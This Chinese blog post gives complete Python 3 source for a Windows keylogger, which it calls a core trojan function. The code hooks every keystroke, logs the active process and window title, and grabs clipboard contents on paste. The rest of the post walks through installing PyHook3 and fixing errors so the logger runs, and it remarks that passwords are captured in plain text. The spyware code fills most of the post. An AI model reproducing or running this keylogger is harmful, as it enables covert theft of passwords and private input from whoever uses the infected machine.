下面给出木马最常见的一个功能:键盘记录的python3代码实现。
代码部分:
######################################################################
# 程序名:keylogger.py
# 功能:利用Python第三方库PyHook实现键盘记录
# 说明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个
# 自定义的钩子函数,通过函数就能截获用户的按键信息
######################################################################
from ctypes import *
import pythoncom
import PyHook3 as pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow() #获得前台窗口句柄
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
process_id = "%d" % pid.value #将进程ID存入变量中
#申请内存
executable = create_string_buffer("\x00"*1024)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #获得进程名
# 读取窗口标题
window_title=create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd,byref(window_title),512) #获得窗口名
#打印
print()
print("[PID: %s-%s-%s]" %(process_id,executable.value,window_title.value))
print()
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#定义击键监听事件函数
def key_event(event):
global current_window
if event.WindowName!= current_window: #检查目标是否切换了窗口
current_window = event.WindowName
get_current_process()
if event.Ascii > 32 and event.Ascii < 127: #检查是否为常规按键
print(chr(event.Ascii), end=' ')
else:
if event.Key == "V": #如果是CTRL+V,则获取剪贴板内容
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print("[PASTE] - %s" % (pasted_value), end=' ')
else:
print("[%s]" % event.Key, end=' ')
#循环监听下一个敲键事件
return True #返回到下一个钩子事件
def key_logger():
hooker = pyHook.HookManager() #创建构造函数管理器
hooker.KeyDown = key_event #注册钩子按键事件的处理函数
hooker.HookKeyboard() #创建键盘钩子
pythoncom.PumpMessages() #执行
if __name__ == "__main__":
key_logger()
########################################################################
问题1: python2代码转为python3代码
问题2:pythoncom和pyhook包的下载
问题3:报错,TypeError: KeyboardSwitch() missing 8 required positional arguments: ‘msg’, ‘vk_code’, ‘scan_code’, ‘ascii’, ‘flags’, ‘time’, ‘hwnd’, and ‘win_name’
import pythoncom
pip install pywin32
question1:
查看python安装路径:
一般为:C:\Users\用户\AppData\Local\Programs\Python\Python37\Tools\scripts
在地址栏输入cmd,打开当前位置的命令行。
然后输入python 2to3.py -w keylogger.py . -w : 写入文件。
在输入文件的时候,可以直接拖移到命令行,自动填入文件路径。
输出结果会显示改变的具体内容。
python3代码的内容直接写入原先的文件里面。
可以把这个功能写入注册表
参考链接:https://blog.csdn.net/admans/article/details/79655733
于是想到了通过对.py文件右键添加一个命令进行自动处理:
将下边面的reg代码复制另存为“python 2to3.reg”文件,然后双击此文件,导入到注册表。
python 2to3.reg为文件名
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Python.File\Shell\editwithidle\shell\2to3\command]
@="cmd /c C:\\Users\\Administrator\\AppData\\Local\\Programs\\Python\\Python36-32\\Tools\\scripts\\2to3.py -w \"%1\""
说明: C:\Users\Administrator\AppData\Local\Programs\Python\Python37\Tools\scripts\2to3.py 此文件路径在python安装目录,保持跟本机一致!
然后右键.py文件,发现右键菜单多了个菜单:
点击运行,再看.py文件已经自动转换完成!!
question2:
pythoncom和pyhook包的下载
pythoncom:
pip install pywin32
pyhook 下载:
用网上的pyhook.whl下载之后,会出现以下错误。
question3:
报错解决
TypeError: KeyboardSwitch() missing 8 required positional arguments: ‘msg’, ‘vk_code’, ‘scan_code’, ‘ascii’, ‘flags’, ‘time’, ‘hwnd’, and ‘win_name’
说明:
KeyboardEvent的时候遇到了KeyboardSwitch() missing 8的情况;该问题具体表现在当你focus的那个进程的窗口title带中文, 就会出现上面那个错误, 如果都是英文或者其他ascii字符则不会。网上了解到是PyHook在Python3的windows下的一个bug。
通过以下方法来解决。
pip install pyhook3
报错
参考链接:https://www.cnblogs.com/pmh905001/p/12194504.html
安装swig
下载链接:
https://sourceforge.net/projects/swig/files/latest/download
解压缩swigwin-3.0.12.zip,将其路径设置到path环境变量中,重新执行,安装成功。
环境变量配置完,需不需要重启?
配置完,可以尝试
如: 打开cmd ,输入swig -help,如果有显示,则说明不需要重启。报错的话,需要重启。
这个属于系统服务,需要重启。
重新运行命令
pip install pyhook3
运行结果:
密码也以明文的形式显示。
附录:
报错解决,之前有个报错,没有解决,因为不影响获取键盘信息,有个老哥,给我说了一下,在这里说明一下。
报错如下:
解决办法
去掉16进制,
executable = create_string_buffer("\x00"*1024)
window_title=create_string_buffer("\x00" * 512)
修改为
executable = create_string_buffer(1024)
window_title=create_string_buffer( 512)
即可。